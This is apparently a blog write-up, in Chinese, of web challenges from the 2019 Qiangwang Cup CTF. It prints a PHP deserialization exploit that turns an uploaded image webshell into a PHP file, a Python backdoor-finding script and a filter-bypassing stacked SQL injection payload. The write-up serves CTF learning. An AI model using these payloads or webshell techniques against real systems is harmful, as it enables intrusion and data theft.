Damn1t
for you I bleed myself dry
FRIENDS
baidu

qwbctf2019

2019-06-06 ctf

强网杯

web

upload

0x01 信息搜集

  • 网站功能:注册和登录,尝试注册一个账号,会出现一个上传页面,尝试上传
  • 想到上传漏洞,疯狂fuzz,但是没卵用,于是老老实实上传了一个图片

这个页面似乎没有什么特别之处,当出现未存在页面会跳转回index.php/home.html,这个时候普通扫描器存在弊端那就是他根据状态码来判断页面存在与否,所以我们可以利用dirsearch ,于是找到了一个www.tar.gz,那就是源码泄露了

另一方面,观察cookie,似乎是base64,将其解码:

1
a:5:{s:2:"ID";i:4;s:8:"username";s:1:"a";s:5:"email";s:7:"a@a.com";s:8:"password";s:32:"0cc175b9c0f1b6a831c399e269772661";s:3:"img";s:79:"../upload/8af43a2068b1f60b959c6b26a1b566d0/f47454d1d3644127f42070181a8b9afc.png";}

熟悉的味道–反序列化,尝试直接利用,错了,于是审计代码

  • 定位到/web/controller/,有四个页面:indexloginregisterprofile
  • index.php
1
2
3
4
5
6
7
8
9
10
11
12
public function login_check(){//登录检查
$profile=cookie('user');
if(!empty($profile)){
$this->profile=unserialize(base64_decode($profile));//反序列化,漏洞点
$this->profile_db=db('user')->where("ID",intval($this->profile['ID']))->find();
if(array_diff($this->profile_db,$this->profile)==null){
return 1;
}else{
return 0;
}
}
}
  • 真正的重点:profile.php
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
<?php
namespace app\web\controller;

use think\Controller;

class Profile extends Controller
{
public $checker;
public $filename_tmp;
public $filename;
public $upload_menu;
public $ext;
public $img;
public $except;

public function __construct()
{
$this->checker=new Index();
$this->upload_menu=md5($_SERVER['REMOTE_ADDR']);//目录创建方式
@chdir("../public/upload");
if(!is_dir($this->upload_menu)){//判断是否已经存在
@mkdir($this->upload_menu);
}
@chdir($this->upload_menu);
}

public function upload_img(){//跳转
if($this->checker){
if(!$this->checker->login_check()){
$curr_url="http://".$_SERVER['HTTP_HOST'].$_SERVER['SCRIPT_NAME']."/index";
$this->redirect($curr_url,302);
exit();
}
}

if(!empty($_FILES)){//创建file,利用md5加密,添加.png后缀
$this->filename_tmp=$_FILES['upload_file']['tmp_name'];
$this->filename=md5($_FILES['upload_file']['name']).".png";
$this->ext_check();//png检查
}
if($this->ext) {
if(getimagesize($this->filename_tmp)) {
@copy($this->filename_tmp, $this->filename);//复制
@unlink($this->filename_tmp);//删除源文件
$this->img="../upload/$this->upload_menu/$this->filename";
$this->update_img();
}else{
$this->error('Forbidden type!', url('../index'));
}
}else{
$this->error('Unknow file type!', url('../index'));
}
}

public function update_img(){//检查用户
$user_info=db('user')->where("ID",$this->checker->profile['ID'])->find();
if(empty($user_info['img']) && $this->img){
if(db('user')->where('ID',$user_info['ID'])->data(["img"=>addslashes($this->img)])->update()){
$this->update_cookie();
$this->success('Upload img successful!', url('../home'));
}else{
$this->error('Upload file failed!', url('../index'));
}
}
}

public function update_cookie(){
$this->checker->profile['img']=$this->img;
cookie("user",base64_encode(serialize($this->checker->profile)),3600);
}

public function ext_check(){
$ext_arr=explode(".",$this->filename);
$this->ext=end($ext_arr);
if($this->ext=="png"){//判断文件是否为png文件
return 1;
}else{
return 0;
}
}

public function __get($name)
{
return $this->except[$name];
}

public function __call($name, $arguments)
{
if($this->{$name}){
$this->{$this->{$name}}($arguments);
}
}

}
  • 前导知识,php魔术方法,重载:
1
2
3
4
5
PHP所提供的重载(overloading)是指动态地创建类属性和方法。我们是通过魔术方法(magic methods)来实现的。

当调用当前环境下未定义或不可见的类属性或方法时,重载方法会被调用。本节后面将使用不可访问属性(inaccessible properties)和不可访问方法(inaccessible methods)来称呼这些未定义或不可见的类属性或方法。

所有的重载方法都必须被声明为 public
  • __get
1
读取不可访问属性的值时,__get() 会被调用。
  • __call
1
在对象中调用一个不可访问方法时,__call() 会被调用。
  • 关键利用点
1
2
3
4
5
6
7
8
9
10
11
12
if($this->ext) {
if(getimagesize($this->filename_tmp)) {
@copy($this->filename_tmp, $this->filename);//复制
@unlink($this->filename_tmp);//删除源文件
$this->img="../upload/$this->upload_menu/$this->filename";
$this->update_img();
}else{
$this->error('Forbidden type!', url('../index'));
}
}else{
$this->error('Unknow file type!', url('../index'));
}

上传一个shell,伪装为png,然后再重命名为php文件,那么就可以读取文件
我们可以直接通过_GET请求绕过如下判断:

1
2
3
4
5
if(!empty($_FILES)){
$this->filename_tmp=$_FILES['upload_file']['tmp_name'];
$this->filename=md5($_FILES['upload_file']['name']).".png";
$this->ext_check();
}

我们的目的是要触发uploa_image方法,于是我们在register.php中看到:

1
2
3
4
5
6
7
8
9
10
11
12
public function __construct()
{
$this->checker=new Index();
}


public function __destruct()
{
if(!$this->registed){
$this->checker->index();
}
}

其 $this->registed、$this->checker 在反序列化时也是可控的。如果我们将 $this->checker 赋值为 Register 类,而 Register 类没有 index 方法,所以调用的时候就会触发 __call 方法,这样就形成了一条完整的攻击链

就有了如下exp:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
<?php
namespace app\web\controller;
use think\Controller;

class Register
{
public $checker;
public $registed = false;
public function __construct($checker){
$this->checker = $checker;
}
}

class Profile
{ # 先上传一个图片马shell.png,保存路径为/upload/md5($_SERVER['REMOTE_ADDR'])/md5($_FILES['upload_file']['name']).".png"
public $filename_tmp = './upload/af536bff8dbcf3875d093da49ba4e4ca/434a1f0621da555e5703d2bac3e4f357.png';
public $filename = './upload/af536bff8dbcf3875d093da49ba4e4ca/ct1.php';
public $ext = true;
public $except = array('index' => 'upload_img');
}

$register = new Register(new Profile());
echo urlencode(base64_encode(serialize($register)));

注:shell由蚁剑生成,一句话不好连接

高明的黑客

下载源码,发现全是混淆过的:

既然为shell,我们尝试寻找GET、post、assert、system等可利用点,尝试fuzz的方法,将其中的参数复制为echo "fuck",若成功则很可能为shell,利用多线程,提高效率:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
import os,re
import requests
from multiprocessing import Pool

filenames = os.listdir('C:\\MySoftwares\\php_develop\\WWW\\src')
pattern = re.compile(r"\$_[GEPOST]{3,4}\[.*\]")


def read_file(file):
for name in filenames:
print(name)
with open('C:\\MySoftwares\\php_develop\\WWW\\src\\'+name,'r') as f:
data = f.read()
result = list(set(pattern.findall(data)))

for ret in result:
try:
command = 'echo "fuck"'
flag = 'fuck'
# command = 'phpinfo();'
# flag = 'phpinfo'
if 'GET' in ret:
passwd = re.findall(r"'(.*)'",ret)[0]
r = requests.get(url='http://web15.buuoj.cn/' + name + '?' + passwd + '='+ command)
if flag in r.text:
print('backdoor file is: ' + name)
print('GET: ' + passwd)
# elif 'POST' in ret:
# passwd = re.findall(r"'(.*)'",ret)[0]
# r = requests.post(url='http://127.0.0.1:8888/' + name,data={passwd:command})
# if flag in r.text:
# print('backdoor file is: ' + name)
# print('POST: ' + passwd)
except : pass

def main():
pool = Pool(processes=15)
for i in range(0,len(filenames),int(len(filenames)/15)):
pool.apply_async(read_file,(i+int(len(filenames)/15),))
pool.close()
pool.join()

if __name__ == "__main__":
main()

跑了n年,最终找到了shell:

然后在根目录找到flag,直接cat /flag

babywebbb

参考飘零师傅的

随便注

注意到/?inject=1,get方式传值

尝试1',报错

error 1064 : You have an error in your SQL syntax; check the manual that corresponds to your MariaDB server version for the right syntax to use near ‘’1’’’ at line 1

大致猜测到闭合方式,尝试闭合?inject=1"%23,返回:

1
2
3
4
5
6
array(2) {
[0]=>
string(1) "1"
[1]=>
string(7) "hahahah"
}

尝试union select返回:

1
return preg_match("/select|update|delete|drop|insert|where|\./i",$inject);

尝试?inject=1%27||1%23列出了所有内容

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
array(2) {
[0]=>
string(1) "1"
[1]=>
string(7) "hahahah"
}

array(2) {
[0]=>
string(1) "2"
[1]=>
string(12) "miaomiaomiao"
}

array(2) {
[0]=>
string(6) "114514"
[1]=>
string(2) "ys"
}

可以多语句查询inject=0%27;show%20tables;%23

1
2
3
4
5
6
7
8
9
array(1) {
[0]=>
string(16) "1919810931114514"
}

array(1) {
[0]=>
string(5) "words"
}

可以利用mysql预编译(prepare),prepare语法:

1
2
3
4
MySQL prepare语法: 
PREPARE statement_name FROM preparable_SQL_statement; /*定义*/
EXECUTE statement_name [USING @var_name...]; /*执行预处理语句*/
{DEALLOCATE | DROP} PREPARE statement_name /*删除定义*/ ;

PREPARE语句用于预备一个语句,并指定名称statement_name,以后引用该语句。语句名称对大小写不敏感。preparable_SQL_statement可以是一个文字字符串,也可以是一个包含了语句文本的用户变量。该文本必须表现为一个单一的SQL语句,而不是多个语句。在这语句里,‘?’字符可以被用于标识参数,当执行时,以指示数据值绑定到查询后。‘?’字符不应加引号,即使你想要把它们与字符串值结合在一起。参数标记只能用于数据值应该出现的地方,而不是SQL关键字,标识符,等等。
如果预语句已经存在,则在新的预语句被定义前,它会被隐含地删掉。

构造如下语句:

1
2
3
4
set @sql=concat('sel','ect * from `1919810931114514`');
prepare presql from @sql;
execute presql;
deallocate prepare presql;

提示:

strstr($inject, “set”) && strstr($inject, “prepare”)

strstr — 查找字符串的首次出现,区分大小写,所以改为大写

1
inject=1%27;SET%20@sql=concat(%27sel%27,%27ect%20*%20from%20`1919810931114514`%27);%20PREPARE%20presql%20from%20@sql;%20execute%20presql;%20deallocate%20PREPARE%20presql;

reference:
https://skysec.top/2019/05/25/2019-强网杯online-Web-Writeup/
https://xz.aliyun.com/t/5282

Author: damn1t

Link: http://microvorld.com/2019/06/06/CTF/qwb2019/

Copyright: All articles in this blog are licensed under CC BY-NC-SA 3.0 unless stating additionally.

< PreviousPost
fbctf2019
NextPost >
Linux常用指令及其含义
CATALOG
  1. 1. 强网杯
    1. 1.1. web
      1. 1.1.1. upload
        1. 1.1.1.1. 0x01 信息搜集
      2. 1.1.2. 高明的黑客
      3. 1.1.3. babywebbb
      4. 1.1.4. 随便注